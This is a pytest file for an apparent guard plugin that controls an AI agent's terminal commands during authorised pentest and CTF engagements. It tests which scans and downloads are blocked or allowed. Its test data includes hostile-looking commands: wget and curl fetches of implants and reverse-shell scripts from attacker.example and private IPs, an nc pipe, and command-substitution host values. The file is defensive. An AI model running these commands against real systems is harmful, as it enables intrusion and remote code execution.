Files
violin/tests/guard/test_terminal_policy.py
T

536 lines
16 KiB
Python

"""Regression tests for Violin's raw-terminal policy."""
from __future__ import annotations
import json
import pytest
from plugins.violin_guard import (
_on_session_reset_hook,
_post_tool_call_hook,
_pre_llm_call_hook,
_pre_tool_call_hook,
bootstrap,
register,
state,
)
from plugins.violin_guard import command as guard_command
from plugins.violin_guard import (
handlers as service,
)
from plugins.violin_guard.skill_receipts import SkillViewResult
from tests.guard.receipt_fixture import bind_active_task
_SCOPE = """targets:
ip_addresses: ["10.10.10.10"]
in_scope_urls: []
exclusions: {}
authorized_parties: ["test owner"]
authorisation:
confirmed: true
rules_of_engagement:
allowed_actions: [recon]
forbidden_actions: []
engagement:
name: audit-test
date: "2026-07-16"
type: authorised-pentest
client: test
"""
class _Context:
def __init__(self) -> None:
self.hooks: dict[str, object] = {}
def register_tool(self, **_kwargs) -> None:
pass
def register_hook(self, name: str, callback) -> None:
self.hooks[name] = callback
def test_plugin_registers_terminal_policy_hook() -> None:
context = _Context()
register(context)
assert context.hooks["pre_tool_call"] is _pre_tool_call_hook
assert context.hooks["post_tool_call"] is _post_tool_call_hook
def test_raw_terminal_target_command_is_blocked() -> None:
result = _pre_tool_call_hook(
tool_name="terminal",
args={"command": "nmap -sV 10.10.10.10"},
session_id="test-session",
)
assert result["action"] == "block"
assert "violin_exec" in result["message"]
def test_raw_terminal_target_url_is_blocked() -> None:
result = _pre_tool_call_hook(
tool_name="terminal",
args={"command": "python exploit.py https://10.10.10.10/preview"},
session_id="test-session",
)
assert result["action"] == "block"
def test_script_interpreter_with_target_literal_is_blocked() -> None:
result = _pre_tool_call_hook(
tool_name="terminal",
args={"command": "python exploit.py 10.10.10.10"},
)
assert result["action"] == "block"
def test_wrapped_target_utility_is_blocked() -> None:
result = _pre_tool_call_hook(
tool_name="terminal",
args={"command": "docker exec kali-pentest nmap -sV 10.10.10.10"},
)
assert result["action"] == "block"
@pytest.mark.parametrize(
"raw_command",
[
"rustscan -a 10.10.10.10",
"enum4linux-ng -A 10.10.10.10",
"impacket-smbclient user:pass@10.10.10.10",
"sh -c 'feroxbuster -u http://10.10.10.10'",
],
)
def test_raw_terminal_blocks_arbitrary_target_tools_without_a_name_list(
raw_command: str,
) -> None:
result = _pre_tool_call_hook(tool_name="terminal", args={"command": raw_command})
assert result["action"] == "block"
assert "violin_exec" in result["message"]
@pytest.mark.parametrize(
"raw_command",
[
"git clone https://github.com/example/project.git",
"curl https://raw.githubusercontent.com/example/repo/main/poc.c",
"curl -sL https://gist.githubusercontent.com/example/123/raw/exploit.py",
"wget https://raw.githubusercontent.com/example/repo/main/Makefile",
],
)
def test_local_source_retrieval_remains_available(raw_command: str) -> None:
result = _pre_tool_call_hook(
tool_name="terminal",
args={"command": raw_command},
)
assert result is None
@pytest.mark.parametrize(
"raw_command",
[
"echo x | nc victim.example 80",
"git clone https://github.com/org/repo; curl https://victim.example/admin",
"git clone https://github.com/org/repo && nmap victim.example",
(
"pip install https://files.pythonhosted.org/package.whl "
"https://victim.example/package.whl"
),
],
)
def test_compound_terminal_commands_cannot_hide_target_segments(raw_command: str) -> None:
result = _pre_tool_call_hook(tool_name="terminal", args={"command": raw_command})
assert result["action"] == "block"
assert "violin_exec" in result["message"]
@pytest.mark.parametrize(
"raw_command",
[
"curl https://victim.example/admin",
"curl -o payload.bin http://10.10.10.10/shell",
"wget https://attacker.example/implant.elf",
"wget -q http://192.168.1.100:8000/rev.sh",
],
)
def test_curl_wget_to_non_source_host_is_blocked(raw_command: str) -> None:
result = _pre_tool_call_hook(tool_name="terminal", args={"command": raw_command})
assert result is not None
assert result["action"] == "block"
assert "violin_exec" in result["message"]
@pytest.mark.parametrize(
"raw_command",
[
"git clone https://github.com/example/project.git && echo cloned",
"echo local | cat",
],
)
def test_safe_compound_terminal_commands_remain_available(raw_command: str) -> None:
assert _pre_tool_call_hook(tool_name="terminal", args={"command": raw_command}) is None
def test_safe_local_terminal_command_remains_available() -> None:
result = _pre_tool_call_hook(
tool_name="terminal",
args={"command": "git status --short"},
session_id="test-session",
)
assert result is None
def test_local_script_paths_are_not_treated_as_hosts() -> None:
assert (
_pre_tool_call_hook(tool_name="terminal", args={"command": "python scripts/setup.py"})
is None
)
assert _pre_tool_call_hook(tool_name="terminal", args={"command": "bash ./run.py"}) is None
assert _pre_tool_call_hook(tool_name="terminal", args={"command": "sh deploy.sh"}) is None
assert _pre_tool_call_hook(tool_name="terminal", args={"command": "cat exploit.log"}) is None
assert _pre_tool_call_hook(tool_name="terminal", args={"command": "rm -f exploit.log"}) is None
def test_local_file_path_containing_an_ip_is_not_treated_as_a_socket() -> None:
assert (
_pre_tool_call_hook(
tool_name="terminal", args={"command": "cat /tmp/file-with-10.10.14.233.txt"}
)
is None
)
@pytest.mark.parametrize(
"raw_command",
[
(
"python3 scripts/violin_guard.py init-engagement --ctf "
'--session-id htb1 --host 10.10.10.10 "$ENG_DIR"'
),
(
"python $HOME/.hermes/profiles/violin/scripts/violin_guard.py "
'init-engagement --host victim.example "$ENG_DIR"'
),
],
)
def test_init_engagement_accepts_direct_scope_host(raw_command: str) -> None:
assert _pre_tool_call_hook(tool_name="terminal", args={"command": raw_command}) is None
@pytest.mark.parametrize(
"raw_command",
[
(
"python3 scripts/violin_guard.py init-engagement --ctf "
'--host "$(cat /tmp/target)" "$ENG_DIR"'
),
('python3 scripts/violin_guard.py init-engagement --host "$TARGET" "$ENG_DIR"'),
('python3 scripts/violin_guard.py init-engagement --host=`cat /tmp/target` "$ENG_DIR"'),
],
)
def test_init_engagement_rejects_indirect_scope_host(raw_command: str) -> None:
result = _pre_tool_call_hook(tool_name="terminal", args={"command": raw_command})
assert result["action"] == "block"
assert "pass --host directly" in result["message"]
def test_other_guard_commands_do_not_inherit_bootstrap_exception() -> None:
result = _pre_tool_call_hook(
tool_name="terminal",
args={
"command": (
"python3 scripts/violin_guard.py check-command "
"--target 10.10.10.10 --command whoami"
)
},
)
assert result["action"] == "block"
def test_non_python_command_cannot_impersonate_bootstrap_exception() -> None:
result = _pre_tool_call_hook(
tool_name="terminal",
args={"command": "nmap scripts/violin_guard.py init-engagement --host 10.10.10.10"},
)
assert result["action"] == "block"
def test_ptt_pre_tool_hook_persists_real_runtime_session(tmp_path) -> None:
eng = tmp_path / "session-hook"
assert bootstrap.init_engagement(eng, session_id="bootstrap-alias") == 0
assert (
_pre_tool_call_hook(
tool_name="violin_record_ptt",
args={"eng_dir": str(eng), "session_id": "untrusted-argument"},
session_id="runtime-session",
)
is None
)
assert state.resolve_session_id(eng) == "runtime-session"
def test_ptt_receipts_bind_to_real_runtime_session(tmp_path, monkeypatch) -> None:
eng = tmp_path / "runtime-receipt"
assert (
bootstrap.init_engagement(
eng,
host="10.10.10.10",
ctf=True,
session_id="bootstrap-alias",
)
== 0
)
monkeypatch.setattr(
service,
"HermesSkillViewAdapter",
lambda: type(
"Ready",
(),
{"view": lambda *_args, **_kwargs: SkillViewResult(True, "pentest skill")},
)(),
)
_pre_tool_call_hook(
tool_name="violin_record_ptt",
args={"eng_dir": str(eng)},
session_id="runtime-session",
)
ptt_args = {
"eng_dir": str(eng),
"id": "PT-CTF-001",
"status": "[~]",
"note": "starting service enumeration",
"skill": "pentest",
"technique": "service-enumeration",
}
prepared = json.loads(service.handle_record_ptt(ptt_args))
assert prepared["status"] == "skill_prepared"
bound = json.loads(service.handle_record_ptt(ptt_args))
assert bound["status"] == "ok"
receipts = json.loads((eng / "state" / "skills.json").read_text(encoding="utf-8"))
assert receipts["context"]["session_id"] == "runtime-session"
assert {item["session_id"] for item in receipts["deliveries"].values()} == {"runtime-session"}
assert receipts["bindings"]["PT-CTF-001"]["session_id"] == "runtime-session"
def test_target_tools_require_an_engagement_binding() -> None:
result = _pre_tool_call_hook(
tool_name="violin_exec",
args={"command": "nmap -sV 10.10.10.10"},
session_id="test-session",
)
assert result["action"] == "block"
assert "engagement associated" in result["message"]
def test_skill_binding_blocks_same_model_call_then_allows_continuation(tmp_path) -> None:
eng = _engagement(tmp_path)
_pre_llm_call_hook(session_id="test", eng_dir=str(eng))
_post_tool_call_hook(
tool_name="violin_record_ptt",
args={"eng_dir": str(eng), "id": "PT-010"},
result='{"status":"ok","task_id":"PT-010"}',
turn_id="user-turn",
api_request_id="model-call-bind",
)
blocked = _pre_tool_call_hook(
tool_name="violin_exec",
args={"eng_dir": str(eng), "session_id": "test"},
session_id="test",
turn_id="user-turn",
api_request_id="model-call-bind",
)
assert blocked["action"] == "block"
assert "next model continuation" in blocked["message"]
browser_blocked = _pre_tool_call_hook(
tool_name="browser_navigate",
args={"url": "https://10.10.10.10"},
session_id="test",
turn_id="user-turn",
api_request_id="model-call-bind",
)
assert browser_blocked["action"] == "block"
assert (
_pre_tool_call_hook(
tool_name="browser_navigate",
args={"url": "https://10.10.10.10"},
session_id="test",
turn_id="user-turn",
api_request_id="model-call-next",
)
is None
)
def test_legacy_receipt_without_api_request_id_uses_turn_fallback(tmp_path) -> None:
eng = _engagement(tmp_path)
_post_tool_call_hook(
tool_name="violin_record_ptt",
args={"eng_dir": str(eng), "id": "PT-010"},
result='{"status":"ok","task_id":"PT-010"}',
turn_id="legacy-turn",
)
blocked = _pre_tool_call_hook(
tool_name="violin_exec",
args={"eng_dir": str(eng), "session_id": "test"},
session_id="test",
turn_id="legacy-turn",
)
assert blocked["action"] == "block"
def test_session_reset_invalidates_active_skill_binding(tmp_path) -> None:
eng = _engagement(tmp_path)
_pre_llm_call_hook(session_id="test", eng_dir=str(eng))
_on_session_reset_hook(session_id="test")
blocked = _pre_tool_call_hook(
tool_name="violin_exec",
args={"eng_dir": str(eng), "session_id": "test"},
session_id="test",
turn_id="after-reset",
)
assert blocked["action"] == "block"
assert "stale after a context reset" in blocked["message"]
def _engagement(tmp_path):
eng = tmp_path / "engagement"
assert bootstrap.init_engagement(eng, host="10.10.10.10") == 0
(eng / "scope" / "scope.yaml").write_text(_SCOPE, encoding="utf-8")
(eng / "state" / ".skill-loaded-test").write_text("skill-loaded: test\n", encoding="utf-8")
ptt = eng / "state" / "ptt.md"
ptt.write_text(
ptt.read_text(encoding="utf-8").replace("| PT-010 | [ ] |", "| PT-010 | [~] |"),
encoding="utf-8",
)
bind_active_task(eng, "test")
return eng
@pytest.mark.parametrize(
"guarded_command",
[
"rustscan -a 10.10.10.10",
"enum4linux-ng -A 10.10.10.10",
"impacket-smbclient user:pass@10.10.10.10",
],
)
def test_guard_accepts_arbitrary_installed_cli_tool_names(tmp_path, guarded_command: str) -> None:
eng = _engagement(tmp_path)
result = guard_command.check_command(
guard_command.CheckCommandArgs(
command=guarded_command,
phase="recon",
eng_dir=str(eng),
target="10.10.10.10",
session_id="test",
)
)
assert not result.errors
def _code(eng, target="10.10.10.10") -> str:
return (
'# violin: {"eng_dir":"'
+ str(eng).replace("\\", "\\\\")
+ '","phase":"RECON","target":"'
+ target
+ '","session_id":"test"}\n'
"print('local audit work')\n"
)
def test_execute_code_requires_valid_metadata(tmp_path) -> None:
blocked = _pre_tool_call_hook(
tool_name="execute_code", args={"code": "print('missing header')"}
)
assert blocked["action"] == "block"
assert "first-line metadata" in blocked["message"]
blocked = _pre_tool_call_hook(
tool_name="execute_code", args={"code": _code(_engagement(tmp_path), "10.10.10.11")}
)
assert blocked["action"] == "block"
assert "Violin guard" in blocked["message"]
def test_execute_code_is_validated_and_recorded(tmp_path) -> None:
eng = _engagement(tmp_path)
source = _code(eng)
assert _pre_tool_call_hook(tool_name="execute_code", args={"code": source}) is None
_post_tool_call_hook(
tool_name="execute_code",
args={"code": source},
result='{"result":"ok"}',
duration_ms=42,
)
receipts = list((eng / "evidence" / "recon").glob("execute-code-*.py"))
assert len(receipts) == 1
assert receipts[0].read_text(encoding="utf-8") == source
history = (eng / "state" / "history.md").read_text(encoding="utf-8")
assert "execute_code sha256=" in history
assert "status=ok" in history
assert "exit_code=0" in history
def test_execute_code_records_tool_errors(tmp_path) -> None:
eng = _engagement(tmp_path)
_post_tool_call_hook(
tool_name="execute_code",
args={"code": _code(eng)},
result='{"error":"sandbox failed"}',
duration_ms=7,
)
history = (eng / "state" / "history.md").read_text(encoding="utf-8")
assert "status=error" in history
assert "exit_code=1" in history
@pytest.mark.parametrize(
"raw_command",
[
"python -m py_compile oauth_takeover.py",
"python3 -m py_compile exploit.py",
"python -m pytest tests/test_exploit.py",
"python -c 'import py_compile; py_compile.compile(\"exploit.py\")'",
],
)
def test_local_script_syntax_and_test_checks_are_allowed(raw_command: str) -> None:
assert _pre_tool_call_hook(tool_name="terminal", args={"command": raw_command}) is None
@pytest.mark.parametrize(
"raw_command",
[
"grep 10.10.10.10 access.log",
"head -n 20 exploit.log",
"ls -la",
"rg 'function' .",
"diff file1.py file2.py",
],
)
def test_expanded_local_file_tools_are_allowed(raw_command: str) -> None:
assert _pre_tool_call_hook(tool_name="terminal", args={"command": raw_command}) is None